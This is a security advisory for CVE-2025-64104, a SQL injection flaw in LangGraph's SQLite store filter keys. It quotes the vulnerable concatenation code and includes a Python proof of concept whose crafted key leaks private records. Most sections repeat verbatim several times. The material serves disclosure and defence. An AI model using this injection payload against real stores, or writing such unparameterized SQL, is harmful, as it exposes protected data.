CVE-2025-64104

LangGraph SQLite Checkpoint is an implementation of LangGraph CheckpointSaver that uses SQLite DB (both sync and async, via aiosqlite). Prior to 2.0.11, LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls. This vulnerability is fixed in 2.0.11.

LangGraph SQLite Checkpoint is an implementation of LangGraph CheckpointSaver that uses SQLite DB (both sync and async, via aiosqlite). Prior to 2.0.11, LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls. This vulnerability is fixed in 2.0.11.

Summary

LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.

Details

/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py

The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.

  filter_conditions.append(
      "json_extract(value, '$."
      + key  # <-- Directly concatenated, no escaping!
      + "') = '"
      + value.replace("'", "''")  # <-- Only value is escaped
      + "'"
  )

Who is affected

This issue affects only developers or projects that directly use the checkpoint-sqlite store.

An application is vulnerable only if it:

1. Instantiates the SqliteStore from the checkpoint-sqlite package, and
2. Builds the filter argument using keys derived from untrusted or user-supplied input (such as query parameters, request bodies, or other external data).

If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.

Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""

from langgraph.store.sqlite import SqliteStore

# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
    store.setup()
    
    # Add public and private documents
    store.put(("docs",), "public", {"access": "public", "data": "public info"})
    store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})
    
    # Normal query - returns 1 public document
    normal = store.search(("docs",), filter={"access": "public"})
    print(f"Normal query: {len(normal)} docs")
    
    # SQL injection via malicious key
    malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
    injected = store.search(("docs",), filter={malicious_key: "dummy"})
    
    print(f"Injected query: {len(injected)} docs")
    for doc in injected:
        if doc.value.get("access") == "private":
            print(f"LEAKED: {doc.value}")

LangGraph SQLite Checkpoint is an implementation of LangGraph CheckpointSaver that uses SQLite DB (both sync and async, via aiosqlite). Prior to 2.0.11, LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls. This vulnerability is fixed in 2.0.11.

LangGraph SQLite Checkpoint is an implementation of LangGraph CheckpointSaver that uses SQLite DB (both sync and async, via aiosqlite). Prior to 2.0.11, LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls. This vulnerability is fixed in 2.0.11.

Summary

LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.

Details

/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py

The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.

  filter_conditions.append(
      "json_extract(value, '$."
      + key  # <-- Directly concatenated, no escaping!
      + "') = '"
      + value.replace("'", "''")  # <-- Only value is escaped
      + "'"
  )

Who is affected

This issue affects only developers or projects that directly use the checkpoint-sqlite store.

An application is vulnerable only if it:

1. Instantiates the SqliteStore from the checkpoint-sqlite package, and
2. Builds the filter argument using keys derived from untrusted or user-supplied input (such as query parameters, request bodies, or other external data).

If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.

Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""

from langgraph.store.sqlite import SqliteStore

# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
    store.setup()
    
    # Add public and private documents
    store.put(("docs",), "public", {"access": "public", "data": "public info"})
    store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})
    
    # Normal query - returns 1 public document
    normal = store.search(("docs",), filter={"access": "public"})
    print(f"Normal query: {len(normal)} docs")
    
    # SQL injection via malicious key
    malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
    injected = store.search(("docs",), filter={malicious_key: "dummy"})
    
    print(f"Injected query: {len(injected)} docs")
    for doc in injected:
        if doc.value.get("access") == "private":
            print(f"LEAKED: {doc.value}")

Summary

LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.

Details

/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py

The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.

  filter_conditions.append(
      "json_extract(value, '$."
      + key  # <-- Directly concatenated, no escaping!
      + "') = '"
      + value.replace("'", "''")  # <-- Only value is escaped
      + "'"
  )

Who is affected

This issue affects only developers or projects that directly use the checkpoint-sqlite store.

An application is vulnerable only if it:

1. Instantiates the SqliteStore from the checkpoint-sqlite package, and
2. Builds the filter argument using keys derived from untrusted or user-supplied input (such as query parameters, request bodies, or other external data).

If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.

Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""

from langgraph.store.sqlite import SqliteStore

# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
    store.setup()
    
    # Add public and private documents
    store.put(("docs",), "public", {"access": "public", "data": "public info"})
    store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})
    
    # Normal query - returns 1 public document
    normal = store.search(("docs",), filter={"access": "public"})
    print(f"Normal query: {len(normal)} docs")
    
    # SQL injection via malicious key
    malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
    injected = store.search(("docs",), filter={malicious_key: "dummy"})
    
    print(f"Injected query: {len(injected)} docs")
    for doc in injected:
        if doc.value.get("access") == "private":
            print(f"LEAKED: {doc.value}")